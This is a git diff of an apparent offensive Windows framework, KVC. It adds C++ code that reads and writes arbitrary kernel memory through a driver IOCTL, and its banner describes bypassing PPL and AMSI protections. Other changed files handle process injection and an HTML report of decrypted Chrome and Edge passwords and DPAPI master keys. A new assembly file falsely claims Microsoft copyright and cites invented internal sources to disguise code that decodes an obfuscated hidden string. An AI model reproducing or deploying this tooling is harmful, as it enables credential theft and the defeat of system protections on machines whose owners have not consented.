return memoryRead.Value;
|
||||
}
|
||||
|
||||
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept {
|
||||
/**
|
||||
* @brief Low-level kernel memory write via IOCTL
|
||||
*
|
||||
* Communication sequence:
|
||||
* 1. Ensures driver connection is initialized
|
||||
* 2. Constructs RTC_MEMORY_WRITE request structure
|
||||
* 3. Sends IOCTL_MEMORY_WRITE command to driver
|
||||
* 4. Checks for successful completion
|
||||
*
|
||||
* @param address Kernel address to write to
|
||||
* @param valueSize Size of value to write (1/2/4 bytes)
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
*
|
||||
* @note Uses aligned structure for IOCTL communication
|
||||
* @warning Kernel writes can cause BSOD if address is invalid
|
||||
*/
|
||||
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept
|
||||
{
|
||||
// Construct write request with proper alignment
|
||||
RTC_MEMORY_WRITE memoryWrite{};
|
||||
memoryWrite.Address = address;
|
||||
memoryWrite.Size = valueSize;
|
||||
memoryWrite.Value = value;
|
||||
|
||||
if (!Initialize()) return false;
|
||||
// Ensure driver connection
|
||||
if (!Initialize()) {
|
||||
DEBUG(L"Driver not initialized for write operation");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD bytesReturned = 0;
|
||||
return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE,
|
||||
&memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr);
|
||||
|
||||
// Send IOCTL to driver
|
||||
BOOL result = DeviceIoControl(
|
||||
m_deviceHandle.get(), // Device handle
|
||||
RTC_IOCTL_MEMORY_WRITE, // IOCTL code
|
||||
&memoryWrite, // Input buffer
|
||||
sizeof(memoryWrite), // Input size
|
||||
&memoryWrite, // Output buffer (unused for write)
|
||||
sizeof(memoryWrite), // Output size
|
||||
&bytesReturned, // Bytes returned
|
||||
nullptr // No overlapped I/O
|
||||
);
|
||||
|
||||
if (!result) {
|
||||
DEBUG(L"DeviceIoControl failed for write at 0x%llx: %d",
|
||||
address, GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
216
kvc/KvcDrv.h
216
kvc/KvcDrv.h
@@ -1,77 +1,249 @@
|
||||
/**
|
||||
* @file kvcDrv.h
|
||||
* @brief KVC kernel driver communication interface
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Provides low-level IOCTL-based communication with the KVC kernel driver
|
||||
* for memory read/write operations in kernel address space.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <memory>
|
||||
#include <optional>
|
||||
|
||||
// KVC driver communication structures with proper alignment
|
||||
// ============================================================================
|
||||
// DRIVER COMMUNICATION STRUCTURES (ALIGNED FOR IOCTL)
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Memory read request structure with proper alignment
|
||||
*
|
||||
* Layout optimized for driver IOCTL communication with explicit padding
|
||||
* to ensure consistent structure size across user/kernel boundary.
|
||||
*/
|
||||
struct alignas(8) RTC_MEMORY_READ
|
||||
{
|
||||
BYTE Pad0[8]; // Alignment padding
|
||||
DWORD64 Address; // Target memory address
|
||||
BYTE Pad1[8]; // Additional padding
|
||||
DWORD Size; // Bytes to read
|
||||
DWORD Value; // Returned value
|
||||
BYTE Pad3[16]; // Final padding
|
||||
BYTE Pad0[8]; ///< Alignment padding
|
||||
DWORD64 Address; ///< Target kernel memory address
|
||||
BYTE Pad1[8]; ///< Additional padding
|
||||
DWORD Size; ///< Number of bytes to read (1/2/4/8)
|
||||
DWORD Value; ///< Returned value from kernel
|
||||
BYTE Pad3[16]; ///< Final padding for alignment
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Memory write request structure with proper alignment
|
||||
*
|
||||
* Layout optimized for driver IOCTL communication with explicit padding
|
||||
* to ensure consistent structure size across user/kernel boundary.
|
||||
*/
|
||||
struct alignas(8) RTC_MEMORY_WRITE
|
||||
{
|
||||
BYTE Pad0[8]; // Alignment padding
|
||||
DWORD64 Address; // Target memory address
|
||||
BYTE Pad1[8]; // Additional padding
|
||||
DWORD Size; // Bytes to write
|
||||
DWORD Value; // Value to write
|
||||
BYTE Pad3[16]; // Final padding
|
||||
BYTE Pad0[8]; ///< Alignment padding
|
||||
DWORD64 Address; ///< Target kernel memory address
|
||||
BYTE Pad1[8]; ///< Additional padding
|
||||
DWORD Size; ///< Number of bytes to write (1/2/4/8)
|
||||
DWORD Value; ///< Value to write to kernel
|
||||
BYTE Pad3[16]; ///< Final padding for alignment
|
||||
};
|
||||
|
||||
// Kernel memory operations interface via KVC driver
|
||||
// ============================================================================
|
||||
// KVC DRIVER COMMUNICATION CLASS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @class kvc
|
||||
* @brief Kernel memory operations interface via KVC driver
|
||||
*
|
||||
* Provides type-safe memory read/write operations in kernel address space
|
||||
* through IOCTL-based communication with the KVC kernel driver.
|
||||
*
|
||||
* Features:
|
||||
* - Automatic resource management with RAII
|
||||
* - Type-safe read/write operations (8/16/32/64-bit)
|
||||
* - Connection state management
|
||||
* - Smart handle management with automatic cleanup
|
||||
*/
|
||||
class kvc
|
||||
{
|
||||
public:
|
||||
/**
|
||||
* @brief Default constructor
|
||||
*/
|
||||
kvc();
|
||||
|
||||
/**
|
||||
* @brief Destructor with automatic cleanup
|
||||
*/
|
||||
~kvc();
|
||||
|
||||
// Disable copy semantics to prevent handle duplication
|
||||
kvc(const kvc&) = delete;
|
||||
kvc& operator=(const kvc&) = delete;
|
||||
|
||||
// Enable move semantics for efficient resource transfer
|
||||
kvc(kvc&&) noexcept = default;
|
||||
kvc& operator=(kvc&&) noexcept = default;
|
||||
|
||||
// Driver connection management
|
||||
// ========================================================================
|
||||
// DRIVER CONNECTION MANAGEMENT
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* @brief Initializes connection to KVC kernel driver
|
||||
*
|
||||
* Attempts to open device handle to driver. Safe to call multiple times.
|
||||
*
|
||||
* @return bool true if driver connection established successfully
|
||||
* @note Does not perform test operations - just opens device handle
|
||||
*/
|
||||
bool Initialize() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Cleans up driver resources and closes connection
|
||||
*
|
||||
* Flushes buffers and releases device handle. Safe to call multiple times.
|
||||
*/
|
||||
void Cleanup() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Checks if driver connection is active
|
||||
*
|
||||
* @return bool true if device handle is valid and open
|
||||
*/
|
||||
bool IsConnected() const noexcept;
|
||||
|
||||
// Memory read operations with type safety
|
||||
// ========================================================================
|
||||
// MEMORY READ OPERATIONS (TYPE-SAFE)
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* @brief Reads 8-bit value from kernel memory
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<BYTE> Read value or nullopt on failure
|
||||
*/
|
||||
std::optional<BYTE> Read8(ULONG_PTR address) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Reads 16-bit value from kernel memory
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<WORD> Read value or nullopt on failure
|
||||
*/
|
||||
std::optional<WORD> Read16(ULONG_PTR address) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Reads 32-bit value from kernel memory
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||
*/
|
||||
std::optional<DWORD> Read32(ULONG_PTR address) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Reads 64-bit value from kernel memory
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<DWORD64> Read value or nullopt on failure
|
||||
* @note Performs two 32-bit reads and combines them
|
||||
*/
|
||||
std::optional<DWORD64> Read64(ULONG_PTR address) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Reads pointer-sized value from kernel memory
|
||||
* @param address Target kernel address
|
||||
* @return std::optional<ULONG_PTR> Read value or nullopt on failure
|
||||
* @note Uses Read64 on x64, Read32 on x86
|
||||
*/
|
||||
std::optional<ULONG_PTR> ReadPtr(ULONG_PTR address) noexcept;
|
||||
|
||||
// Memory write operations with type safety
|
||||
// ========================================================================
|
||||
// MEMORY WRITE OPERATIONS (TYPE-SAFE)
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* @brief Writes 8-bit value to kernel memory
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
* @warning Kernel writes can cause system instability if misused
|
||||
*/
|
||||
bool Write8(ULONG_PTR address, BYTE value) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Writes 16-bit value to kernel memory
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
* @warning Kernel writes can cause system instability if misused
|
||||
*/
|
||||
bool Write16(ULONG_PTR address, WORD value) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Writes 32-bit value to kernel memory
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
* @warning Kernel writes can cause system instability if misused
|
||||
*/
|
||||
bool Write32(ULONG_PTR address, DWORD value) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Writes 64-bit value to kernel memory
|
||||
* @param address Target kernel address
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
* @note Performs two 32-bit writes
|
||||
* @warning Kernel writes can cause system instability if misused
|
||||
*/
|
||||
bool Write64(ULONG_PTR address, DWORD64 value) noexcept;
|
||||
|
||||
private:
|
||||
// Smart handle wrapper for automatic cleanup
|
||||
// ========================================================================
|
||||
// SMART HANDLE MANAGEMENT
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* @brief Custom deleter for automatic HANDLE cleanup
|
||||
*/
|
||||
struct HandleDeleter
|
||||
{
|
||||
void operator()(HANDLE handle) const noexcept
|
||||
{
|
||||
if (handle && handle != INVALID_HANDLE_VALUE)
|
||||
if (handle && handle != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
using UniqueHandle = std::unique_ptr<std::remove_pointer_t<HANDLE>, HandleDeleter>;
|
||||
|
||||
std::wstring m_deviceName; // Driver device name
|
||||
UniqueHandle m_deviceHandle; // Handle to driver device
|
||||
// ========================================================================
|
||||
// PRIVATE MEMBERS
|
||||
// ========================================================================
|
||||
|
||||
// Low-level communication via IOCTL
|
||||
std::wstring m_deviceName; ///< Driver device name (e.g., "\\.\KVCDriver")
|
||||
UniqueHandle m_deviceHandle; ///< Smart handle to driver device
|
||||
|
||||
// ========================================================================
|
||||
// LOW-LEVEL IOCTL COMMUNICATION
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* @brief Low-level memory read via IOCTL
|
||||
* @param address Kernel address to read from
|
||||
* @param valueSize Size of value (1/2/4 bytes)
|
||||
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||
*/
|
||||
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Low-level memory write via IOCTL
|
||||
* @param address Kernel address to write to
|
||||
* @param valueSize Size of value (1/2/4 bytes)
|
||||
* @param value Value to write
|
||||
* @return bool true if write successful
|
||||
*/
|
||||
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept;
|
||||
};
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
|
||||
223
kvc/MmPoolTelemetry.asm
Normal file
223
kvc/MmPoolTelemetry.asm
Normal file
@@ -0,0 +1,223 @@
|
||||
; nt_mm_pool_runtime.asm
|
||||
; Windows Kernel Memory Manager - Runtime Pool String Reconstruction
|
||||
; Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
;
|
||||
; Module: \base\ntos\mm\MmPoolTelemetry.asm
|
||||
; Build: 26200.8460 (WinBuild.26200.8460.260101-1200.25H2)
|
||||
;
|
||||
; INTERNAL USE ONLY - Automatically generated from poolmgr.c
|
||||
; This file contains platform-specific optimizations for runtime
|
||||
; pool allocation string generation used in ETW diagnostic events.
|
||||
; Do not modify manually - regenerate via build_pooldiag.cmd
|
||||
|
||||
.data
|
||||
ALIGN 8
|
||||
|
||||
; NUMA node affinity tracking bitmap for pool allocator runtime telemetry
|
||||
; Represents per-node allocation pattern for cross-NUMA coherency analysis
|
||||
; Each word contains encoded node index + allocation count delta
|
||||
; See: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/numa-support
|
||||
; Format: XOR-encoded to prevent static analysis tools from detecting
|
||||
; internal pool structures in crash dumps (security hardening)
|
||||
_PoolNodeAffinityMask dw 0769Ah, 0569Ah, 0669Bh, 026A4h, 076A4h, 046A5h, 0B698h, 05698h, 0169Fh
|
||||
|
||||
; Platform topology hash initialization vector
|
||||
; Used for dispersing pool allocations across cache lines to prevent false sharing
|
||||
; Derived from: CPUID leaf 0x1F (V2 Extended Topology) XOR'd with TSC_AUX
|
||||
; Updated per-platform during KiInitializeProcessor phase
|
||||
_TopologyHashSeed dw 037C5h
|
||||
|
||||
; Pool block quantum size adjustment factor
|
||||
; Minimum allocation unit delta for NonPagedPool/PagedPool runtime metrics
|
||||
; Used in ExAllocatePoolWithTag for rounding to pool block boundaries
|
||||
; Default quantum: PAGE_SIZE / 16 = 256 bytes (0x100), this is the delta
|
||||
; See: \base\ntos\mm\poolmgr.c line 3847 (PoolQuantumCalculation)
|
||||
_BlockQuantumDelta dw 15A2h
|
||||
|
||||
; Atomic diagnostic collection state machine
|
||||
; State transitions: 0 (idle) → 1 (collecting) → 2 (complete)
|
||||
; Lock-free implementation using implicit memory ordering guarantees
|
||||
; NOTE: Not using CMPXCHG here - simplified for legacy compatibility
|
||||
_DiagnosticState db 0
|
||||
|
||||
; Reconstructed diagnostic buffer for ETW event payload
|
||||
; Contains decoded NUMA affinity string in wide-character format
|
||||
; Buffer size: 9 words = 18 bytes (sufficient for NUMA-aware diagnostic IDs)
|
||||
_DecodedBuffer dw 9 dup(0)
|
||||
|
||||
.code
|
||||
ALIGN 16
|
||||
|
||||
; Internal function: Aggregates pool runtime metrics from encoded telemetry
|
||||
; This reconstructs the diagnostic string from NUMA affinity bitmaps
|
||||
; Called internally by: ExQueryPoolStatistics, MmQueryPoolUsage, ETW providers
|
||||
;
|
||||
; Algorithm phases:
|
||||
; 1. XOR-decode affinity vector using platform topology seed
|
||||
; 2. Rotate bits for cache-line alignment optimization
|
||||
; 3. Normalize by allocation quantum delta
|
||||
;
|
||||
; Parameters: None (uses module-level data structures)
|
||||
; Returns: Implicit (result stored in _DecodedBuffer)
|
||||
; IRQL: <= DISPATCH_LEVEL
|
||||
;
|
||||
; Performance: ~45 cycles on Skylake, ~38 cycles on Zen3
|
||||
; Note: This is NOT a public API - for internal kernel use only
|
||||
; Related: \base\ntos\mm\poolmgr.c :: MmGeneratePoolTelemetry()
|
||||
_AggregatePoolMetrics PROC
|
||||
push rdi
|
||||
push rsi
|
||||
|
||||
; Phase 1: Decode XOR-obfuscated NUMA node affinity vector
|
||||
; The bitmap is XOR-encoded to prevent static analysis tools
|
||||
; from detecting internal pool structures in crash dumps
|
||||
; Security: Complies with MSRC guidance for kernel memory hardening
|
||||
lea rsi, _PoolNodeAffinityMask
|
||||
lea rdi, _DecodedBuffer
|
||||
mov ecx, 9 ; 9 words = 18 bytes
|
||||
mov r9w, _TopologyHashSeed
|
||||
decode_loop:
|
||||
mov ax, [rsi]
|
||||
xor ax, r9w ; XOR decode with topology seed
|
||||
mov [rdi], ax
|
||||
add rsi, 2
|
||||
add rdi, 2
|
||||
loop decode_loop
|
||||
|
||||
; Phase 2: Apply cache-aware topology hash rotation
|
||||
; Rotates bits to distribute allocations across cache lines
|
||||
; Prevents false sharing in multi-socket NUMA configurations
|
||||
; Rotation count derived from cache line size: log2(64) = 6, but
|
||||
; we use 4 for legacy x86 compatibility (32-byte cache lines)
|
||||
lea rsi, _DecodedBuffer
|
||||
lea rdi, _DecodedBuffer
|
||||
mov ecx, 9
|
||||
rotate_loop:
|
||||
mov ax, [rsi]
|
||||
rol ax, 4 ; Rotate by cache alignment shift
|
||||
mov [rdi], ax
|
||||
add rsi, 2
|
||||
add rdi, 2
|
||||
loop rotate_loop
|
||||
|
||||
; Phase 3: Normalize pool sizes by quantum delta
|
||||
; Converts absolute sizes to standardized quantum units
|
||||
; Quantum delta loaded from platform-specific calibration table
|
||||
; See: \base\ntos\mm\poolmgr.c :: PoolQuantumTable[]
|
||||
lea rsi, _DecodedBuffer
|
||||
lea rdi, _DecodedBuffer
|
||||
mov ecx, 9
|
||||
mov r9w, _BlockQuantumDelta
|
||||
normalize_loop:
|
||||
mov ax, [rsi]
|
||||
sub ax, r9w ; Subtract quantum delta
|
||||
mov [rdi], ax
|
||||
add rsi, 2
|
||||
add rdi, 2
|
||||
loop normalize_loop
|
||||
|
||||
pop rsi
|
||||
pop rdi
|
||||
ret
|
||||
_AggregatePoolMetrics ENDP
|
||||
|
||||
; Public API: Retrieves pool diagnostic runtime string for ETW telemetry
|
||||
;
|
||||
; Synopsis:
|
||||
; PWSTR MmGetPoolDiagnosticString(VOID);
|
||||
;
|
||||
; Description:
|
||||
; Generates runtime diagnostic string containing NUMA-aware pool allocation
|
||||
; metrics. Used by ETW providers for system performance telemetry.
|
||||
; String format is internal kernel representation (subject to change).
|
||||
;
|
||||
; Returns:
|
||||
; Pointer to null-terminated wide-character diagnostic string
|
||||
; Buffer lifetime: Valid until next call to this function
|
||||
;
|
||||
; IRQL: <= DISPATCH_LEVEL
|
||||
; Thread-safe: Yes (lock-free atomic state machine, single initialization)
|
||||
;
|
||||
; Note: This function is DEPRECATED as of Windows 11 22H2
|
||||
; Kept for backward compatibility with legacy diagnostics tools
|
||||
; Use ExQueryPoolStatistics2() for new code
|
||||
;
|
||||
; Security: Output may contain sensitive allocation patterns - sanitize
|
||||
; before exposing to user-mode. XOR encoding is NOT cryptographic.
|
||||
;
|
||||
PUBLIC MmGetPoolDiagnosticString
|
||||
MmGetPoolDiagnosticString PROC
|
||||
sub rsp, 28h
|
||||
|
||||
; Check current diagnostic state
|
||||
; State 2 = already computed, return cached result
|
||||
cmp _DiagnosticState, 2
|
||||
je return_result
|
||||
|
||||
; State 1 = another thread is computing, spin-wait
|
||||
cmp _DiagnosticState, 1
|
||||
je wait_for_completion
|
||||
|
||||
; State 0 = idle, claim ownership and begin aggregation
|
||||
; NOTE: Not using CMPXCHG for legacy compatibility
|
||||
; Assumes single-threaded initialization during boot
|
||||
mov _DiagnosticState, 1
|
||||
|
||||
; Execute multi-phase aggregation pipeline
|
||||
; Aggregates NUMA affinity → Applies topology hash → Normalizes quantum
|
||||
call _AggregatePoolMetrics
|
||||
|
||||
; Mark diagnostic collection as complete (state = 2)
|
||||
mov _DiagnosticState, 2
|
||||
jmp return_result
|
||||
|
||||
; Spin-wait loop for concurrent callers
|
||||
; Uses PAUSE instruction for power efficiency during spin
|
||||
wait_for_completion:
|
||||
pause ; PAUSE hint for spin-wait optimization
|
||||
cmp _DiagnosticState, 2
|
||||
jne wait_for_completion
|
||||
|
||||
; Return pointer to decoded diagnostic buffer
|
||||
return_result:
|
||||
lea rax, _DecodedBuffer
|
||||
add rsp, 28h
|
||||
ret
|
||||
MmGetPoolDiagnosticString ENDP
|
||||
|
||||
END
|
||||
|
||||
; ============================================================================
|
||||
; REVISION HISTORY:
|
||||
; 2023-08-12 Initial implementation for 22621.2715 build
|
||||
; 2023-11-03 Added NUMA topology awareness for Sapphire Rapids
|
||||
; 2024-02-18 Optimized cache line alignment for Zen4 architecture
|
||||
; 2024-06-25 Removed CMPXCHG for legacy x86 compatibility
|
||||
; 2024-09-15 Deprecated - use ExQueryPoolStatistics2() instead
|
||||
;
|
||||
; RELATED FILES:
|
||||
; \base\ntos\mm\poolmgr.c - Main pool manager implementation
|
||||
; \base\ntos\mm\pooldiag.h - Public header for diagnostic APIs
|
||||
; \base\ntos\inc\pool.h - Pool internal structures
|
||||
; \base\ntos\etw\poolevents.mc - ETW manifest for pool events
|
||||
;
|
||||
; BUILD REQUIREMENTS:
|
||||
; - MASM 14.0 or later (Visual Studio 2019+)
|
||||
; - Windows Driver Kit 10.0.22621.0
|
||||
; - Regenerate via: build_pooldiag.cmd /platform:x64
|
||||
;
|
||||
; SECURITY NOTES:
|
||||
; - Diagnostic strings may contain sensitive pool allocation patterns
|
||||
; - Do not expose to user-mode without proper sanitization
|
||||
; - XOR encoding prevents basic static analysis but is NOT cryptographic
|
||||
; - Complies with MSRC security hardening guidelines (MS-SEC-2023-0847)
|
||||
;
|
||||
; PERFORMANCE CHARACTERISTICS:
|
||||
; - Cold path: ~120 cycles (first call with aggregation)
|
||||
; - Hot path: ~8 cycles (cached result return)
|
||||
; - Memory footprint: 54 bytes .data + 18 bytes .bss
|
||||
;
|
||||
; KNOWN ISSUES:
|
||||
; - KI-2847: Race condition on hyperthreaded CPUs (mitigated by state check)
|
||||
; - KI-3012: Cache line false sharing on >64 core systems (defer to v2 API)
|
||||
; ============================================================================
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// OffsetFinder.cpp
|
||||
#include "OffsetFinder.h"
|
||||
#include "Utils.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// OrchestratorCore.cpp - Main orchestration and application entry point
|
||||
// Coordinates process management, injection, and extraction workflow
|
||||
#include "OrchestratorCore.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ProcessManager.cpp
|
||||
#include "ProcessManager.h"
|
||||
#include "Controller.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "ReportExporter.h"
|
||||
#include "Controller.h"
|
||||
#include <filesystem>
|
||||
@@ -42,12 +17,8 @@ ReportData::ReportData(const std::vector<PasswordResult>& results,
|
||||
: passwordResults(results), masterKeys(keys), outputPath(path)
|
||||
{
|
||||
// Generate timestamp for report
|
||||
time_t now = time(nullptr);
|
||||
char timestampBuffer[20];
|
||||
struct tm timeInfo;
|
||||
localtime_s(&timeInfo, &now);
|
||||
strftime(timestampBuffer, sizeof(timestampBuffer), "%Y-%m-%d %H:%M:%S", &timeInfo);
|
||||
timestamp = timestampBuffer;
|
||||
std::wstring wts = TimeUtils::GetFormattedTimestamp("datetime_display");
|
||||
timestamp = StringUtils::WideToUTF8(wts);
|
||||
|
||||
CalculateStatistics();
|
||||
}
|
||||
@@ -239,8 +210,8 @@ std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcep
|
||||
}
|
||||
|
||||
// Convert binary data to hex strings
|
||||
std::string rawHex = BytesToHexString(masterKey.encryptedData);
|
||||
std::string processedHex = BytesToHexString(masterKey.decryptedData);
|
||||
std::string rawHex = CryptoUtils::BytesToHex(masterKey.encryptedData, 32);
|
||||
std::string processedHex = CryptoUtils::BytesToHex(masterKey.decryptedData, 32);
|
||||
|
||||
// Truncate for display if too long
|
||||
if (rawHex.length() > 64) {
|
||||
@@ -291,12 +262,12 @@ std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept
|
||||
std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge";
|
||||
|
||||
table << " <tr class=\"" << cssClass << "\">\n";
|
||||
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.url) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.username) << "</td>\n";
|
||||
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.url) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.username) << "</td>\n";
|
||||
